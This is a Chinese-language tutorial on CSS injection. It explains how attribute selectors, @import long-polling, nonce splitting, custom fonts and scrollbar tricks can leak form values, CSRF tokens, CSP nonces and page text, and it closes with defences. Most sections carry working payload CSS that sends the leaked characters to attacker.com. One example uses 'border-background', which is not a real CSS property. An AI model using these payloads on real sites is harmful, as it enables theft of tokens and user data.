CSS Injection 从入门到精通
字数 1677 2025-08-22 12:22:54
CSS Injection 从入门到精通
1. 基础概念
CSS Injection 是一种利用 CSS Selectors 匹配和选择页面元素的功能来实现页面信息泄露的攻击技术。通过精心构造的 CSS 选择器和属性,攻击者可以逐步获取页面中的敏感信息,如表单值、CSRF token、meta 标签内容等。
2. 基础用法
2.1 基本泄露原理
假设目标页面上存在以下内容:
<input value="somevalue" type="text">
要获取 input 元素的 value 值,可以构造如下 CSS:
input[value^=a] { background-image: url(https://attacker.com/?value=a); }
input[value^=b] { background-image: url(https://attacker.com/?value=b); }
/* ... */
input[value^=9] { background-image: url(https://attacker.com/?value=9); }
value^=X 是一个 CSS 选择器表达式,匹配所有 value 属性以 X 开头的 input 元素。当匹配成功时,浏览器会加载指定的背景图片,向攻击者的服务器发送请求。
2.2 逐步泄露完整值
- 首先检测第一个字符:
- 如果服务器收到
attacker.com/?value=s请求,说明 value 以 "s" 开头
- 如果服务器收到
- 然后检测第二个字符:
input[value^=sa] { background-image: url(https://attacker.com/?value=sa); } input[value^=sb] { background-image: url(https://attacker.com/?value=sb); } /* ... */ - 重复此过程,直到获取完整值
somevalue
3. 优化技术
3.1 减少规则数量
使用 value*=X 表达式可以匹配任何包含 X 字符的元素,从而减少所需的规则数量:
input[value*="a"] { background-image: url(https://attacker.com/?char=a); }
3.2 加速泄露
同时使用前缀和后缀选择器,一次泄露两个字符:
input[name="secret"][value^="a"] { background: url(https://attacker.com/prefix?a); }
input[name="secret"][value$="a"] { border-background: url(https://attacker.com/suffix?a); }
注意:前后缀选择器需要使用不同的属性(如 background 和 border-background),避免样式覆盖。
4. 特殊元素的信息泄露
4.1 meta 标签泄露
meta 标签默认不可见,需要先使其可见:
head, meta { display: block; }
meta[name="csrf-token"][content^="a"] { background: url(https://attacker.com/?q=a); }
4.2 绕过 type=hidden 限制
对于隐藏的 input 元素:
<input type="hidden" name="csrf-token" value="abc123">
4.2.1 使用同级组合器
input[type=hidden][value^="a"] + input { background: url(https://attacker.com/?q=a); }
4.2.2 使用 :has 选择器
form:has(input[name="csrf-token"][value^="a"]) { background: url(https://attacker.com/?q=a); }
5. 实时更新 Style 的信息泄露
对于动态更新的内容(如 HackMD 的 CSRF token):
- 准备泄露第一个字符的 CSS Payload
- 受害者打开页面
- 服务器收到第一个字符的请求
- 更新内容为泄露第二个字符的 Payload
- 重复直到获取完整信息
6. @import 递归导入
用于绕过有效负载长度限制和避免页面重新加载:
6.1 基本原理
- 注入
@import规则 - 暂存有效负载用于
@import - 对恶意有效负载进行长轮询
6.2 示例
初始 Payload:
<style>@import url(http://attacker.com/staging?len=32);</style>
长轮询 Payload(第0位):
input[name=xsrf][value^=a] { background: url(http://attacker.com/exfil?t=a); }
input[name=xsrf][value^=b] { background: url(http://attacker.com/exfil?t=b); }
/* ... */
6.3 注意事项
- 浏览器对同一域名的并发请求有限制,可以使用多个子域名
- Firefox 需要特殊处理,同时发送多个
@import
7. 并行泄露组合
当 CSP 限制 style-src 时使用的方法:
7.1 nonce 切割
将目标 nonce 切割成多个3字符的子串并行泄露:
script[nonce*="abc"] { --abc: url("//attacker.com/abc") }
script[nonce*="bcd"] { --bcd: url("//attacker.com/bcd") }
script {
background-image:
cross-fade(var(--abc, none),
cross-fade(var(--bcd, none), none, 50%), 50%);
}
7.2 nonce 复原算法
- 找到开头的3字符子串
- 通过末尾两字符匹配连接子串
- 重复直到连接所有子串
8. 页面内容泄露
8.1 unicode-range 方法
@font-face {
font-family: "f1";
src: url(https://attacker.com?q=1);
unicode-range: U+31;
}
div {
font-family: f1, f2, f3;
}
局限性:无法确定字符顺序和重复情况。
8.2 字体高度差异 + first-line + scrollbar
- 找到高度不同的内置字体(如 Comic Sans MS 和 Courier New)
- 设置固定高度容器
- 使用
::first-line选择器逐字符检测 - 通过 scrollbar 的出现发送请求
8.3 连字 + scrollbar
- 创建自定义连字字体(如 "ab" 连字)
- 设置固定宽度容器
- 连字出现时内容变宽,触发 scrollbar
- 通过 scrollbar 背景发送请求
8.3.1 泄露 JavaScript 代码
head, script { display: block; }
script {
font-family: "hack";
white-space: nowrap;
overflow-x: auto;
width: 500px;
}
script::-webkit-scrollbar { background: url(https://attacker.com?q=leak); }
9. 防御措施
- 实施严格的 CSP 策略,限制 style-src
- 避免将敏感信息存储在 DOM 属性中
- 对用户提供的 CSS 进行严格过滤
- 使用 nonce 或 hash 限制内联样式
- 定期进行安全审计,检查潜在的 CSS 注入漏洞
10. 工具和资源
- sic:CSS 注入利用工具
- FontForge:用于创建自定义连字字体
- 参考来源:Black Hat Asia 2023、0CTF/TCTF 2023 等安全会议资料